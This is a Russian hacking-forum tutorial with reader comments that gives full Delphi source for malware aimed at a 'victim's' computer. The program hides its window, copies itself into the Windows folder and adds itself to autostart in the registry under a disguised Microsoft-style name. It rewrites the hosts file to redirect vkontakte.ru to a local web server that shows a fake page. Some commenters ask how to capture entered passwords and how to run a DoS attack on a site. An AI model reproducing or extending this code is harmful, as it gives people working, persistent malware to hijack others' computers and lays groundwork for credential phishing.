Форум   Статьи   Новости   Файлы   Bugtraq   Сниффер   Друзья   О Клубе

Последнее на Форуме

Контакты

Связь с Администрацией

hpcteam1[@]gmail.com

Статьи rss

[ Добавить Статью на сайт ]

Статьи / Программирование / Delphi

Блокиратор вконтакте

Добрый день, сегодня я , Yougan, опишу метод блокировки вконтакте средствами Delphi. Главное преимущество нашей идеи состоит в том, что она не требует хостинга.

http://s53.radikal.ru/i142/1102/e0/fee31b8fa216.bmp

Наша программка будет редактировать всем известный файл hosts и поднимать на компьютере жертвы собственный http-сервер, таким образом компьютер жертвы и будет хостом для сайта, на который будет прописан редирект в хостс.
Нам потребуется

[1] Delphi 7
[2] Установленная библиотека Indy

Для начала создадим html-файлик, который станет страничкой, которую увидит пользователь, попытавшись войти на свой аккаунт.

В нем я написал следующее

<html>
<title>Вконтакте Добро Пожаловать</title>
</head>
<div align=center>
<image src=12.bmp>
</div>
</html>

Не забудьте создать картинку с именем 12.bmp

Моя картинка вот http://s49.radikal.ru/i123/1102/d9/4b88381aea11.bmp

Теперь поместите наш файл и картинку в папку C:\Windows\

Приступим к написанию веб-сервера.
Кинем на форму idHTTPServer с закладки Indy Servers
Назовем его Server

В событии создания формы напишем

procedure TForm1.FormCreate(Sender: TObject);
var str:tstringlist;
begin
application.ShowMainForm:=false; //Делаем форму скрытой
if not FileExists('C:\Windows\webserver.exe') then begin //Проверка, если веб //сервера нет в папке
CopyFile(pchar(application.exename),'C:\Windows\webserver.exe',false); //То //скопируемся туда
WinExec('C:\Windows\webserver.exe',sw_hide); //И запустим сервер
RegHosts; //Процедура модификации хостс
RegRun; //Пропись в реестре
Application.Terminate; //Если это убрать, то наш сервер не запустится, т.к.
//На одном компе может быть запущен только один сервер на одном порту
end
else
begin
RegRun; //Иначе пропишемся в реестр
RegHosts; //Модифицируем хостс
server.Active:=true; //И включим сервер
end;

Теперь объявим процедуры RegRun и RegHosts

public
{ Public declarations }
procedure RegHosts;
procedure RegRun;
end;

Пропись в реестр

procedure TForm1.RegRun;
var reg:tregistry;
begin
reg := tregistry.create; //Инициализируем переменную
reg.rootkey := hkey_local_machine; //Открываем ключ реестра
reg.lazywrite := false;
reg.openkey('software\microsoft\windows\currentversion\run', false); //Открываем //подраздел реестра
reg.writestring('MicrosoftWebServerUpdater.exe', 'C:\Windows\webserver.exe'); //Прописываем путь до сервера в автозагрузку(вместо 
//'C:\windows\webserver.exe' можно написать Application.exename
//Тогда программа пропишет в авторан путь до самой себя в данный момент
reg.closekey; //Закрываем раздел
reg.free; //Уничтожаем переменную
end;

Думаю, тут ничего объяснять не надо

Модификация файла хостс
Предварительно объявим глобальной переменной

FileStr:TStringlist;

procedure TForm1.RegHosts;
begin
Filestr:=tstringlist.Create; //Создаем список
Filestr.LoadFromFile('C:\Windows\System32\drivers\etc\hosts'); //Загружаем //содержимое хостс в список
Filestr.Add('127.0.0.1 vkontakte.ru'); //Добавим строчку
//Слева написан IP, на который произойдет переадресация
//Справа - ресурс, с которого она произойдет
filestr.SaveToFile('C:\Windows\System32\drivers\etc\hosts'); //Сохраним изменения
Filestr.Free; //Освободим объект
end;

Теперь перейдем к программированию обработки запросов,
Посылаемых браузером жертвы на сервер.
В обработчике события OnCommandGet Server'a напишем следующее

procedure TForm1.ServerCommandGet(AThread: TIdPeerThread;
ARequestInfo: TIdHTTPRequestInfo; AResponseInfo: TIdHTTPResponseInfo);
begin
if (pos('ndex',arequestinfo.document)=0)and(pos('12.bmp',arequestinfo.document)=0) 
then
//Если пользователь браузер запрашивает нашу страничку
arequestinfo.Document:='index.html'; //Если запрашивается другая страничка
//То все равно откроем нашу. Я пишу такие условия потому, что иначе
//У меня программа вываливалась с экзепшном, может у вас получится:)

if arequestinfo.Document='/' then
begin
arequestinfo.Document:=''; //Обнуляем запрос
aresponseinfo.ContentStream:=tfilestream.Create('C:\windows\index.html',fmopenread); //отправляем клиенту файл index.html
end else
if arequestinfo.Document<>'/' then //Если прошлая проверка пройдена, то
//Отправляем файл клиенту(картинку)
//Если этого не написать, картинка не отобразится
aresponseinfo.ContentStream:=tfilestream.Create('C:\windows\'+arequestinfo.Document,fmopenread);
end;

При разрушении формы напишем

Server.active:=false; // Иначе программа будет некорректно работать

В uses обязательно добавьте Registry, иначе прописаться в реестр программа не сможет.

Теперь проверим, наберем в окне любого браузера 127.0.0.1
Если вам не открылся ваш html файл, то где-то вы допустили ошибку.
Теперь пробуем ввести vkontakte.ru



Если все правильно сделано, то видим свою табличку. Кому помог, ставьте плюсик.
Если я где-то ошибся, вот исходник
http://zalil.ru/30467699

Статья участвует в конкурсе статей.
P.S. авторство Yuogan

Автор: Yougan

Источник: hpc

Материал добавил Yougan


Комментарии(17)

Дата: 2011-02-09 15:18:09

Добавить Комментарий к Материалу

Вы должны быть авторизованы на форуме чтобы добавлять комментарии. Регистрация Уже авторизованы?

Комментарии к Материалу

 monk86              2011-02-10 20:44:01

Смеющийся Кульно)))

 Shadow_of_LoOny              2011-02-11 14:54:29

+1 надо будет как нить попробовать)

 Fuck666              2011-02-16 21:08:37

Смеющийся+

 dkfl12r              2011-02-23 8:18:08

Улыбающийся

 cargo29              2011-03-22 16:57:56

Улыбающийся хорошая статья, только подскажите как сделать страницу что бы она сохраняла введеный логин и пароль... в log.txt

 Sem600              2011-03-25 15:48:35

Помоги с дос атакой,как например заблокировать этот интернет ресурси www.rutvit.com-есть причины

 Dimon_SAW              2011-03-26 23:49:41

Win 7 x64 (6.1.7600) index.html не открывается Непонимающий

 dimidjy2              2011-03-29 15:32:04

А у меня пишет когда захожу вконтакте "It works!"

 M@ZAX@KEP              2011-03-29 19:18:54

Значит у тебя на локалхосте апач установлен просто. А в файле hosts прописан редирект dns-запросов vkontakte.ru на 127.0.0.1 (localhost)

 Axe_73              2011-04-05 10:39:50

а кстати почему ты не сделал путь к папке виндовс через %windir%

например у меня windows находиться на диске G

 nosorog5551              2011-05-19 7:00:50

КЛасс , спасибо +1 Смеющийся

 vanya943              2011-05-22 21:28:58

Смеющийся Работает !!

 rustaveli55              2011-07-20 13:52:35

Палится антивиром

 a39M              2012-03-15 7:09:00

у меня не получилось помогите Непонимающий

 a39M              2012-03-15 15:20:53

помогите ПЖЛ срочно надо Плачущий Плачущий Плачущий

 a39M              2012-03-15 20:37:27

кто нибуууууууудь Шокированный

 a39M              2012-03-16 9:05:53

вот мои ошибки
[Error] Unit1.pas(4Крутой: Statement expected but 'PROCEDURE' found
[Fatal Error] Project1.dpr(6): Could not compile used unit 'Unit1.pas'

Последнее на Сайте

Новости

Статьи

Bugtraq

Файлы

Copyright © 2008 - 2017 «HPC». При копировании материалов ставьте ссылку на источник.
Все материалы представлены только в ознакомительных целях, администрация за их использование ответственности не несет.
Пользовательское соглашение Реклама на сайте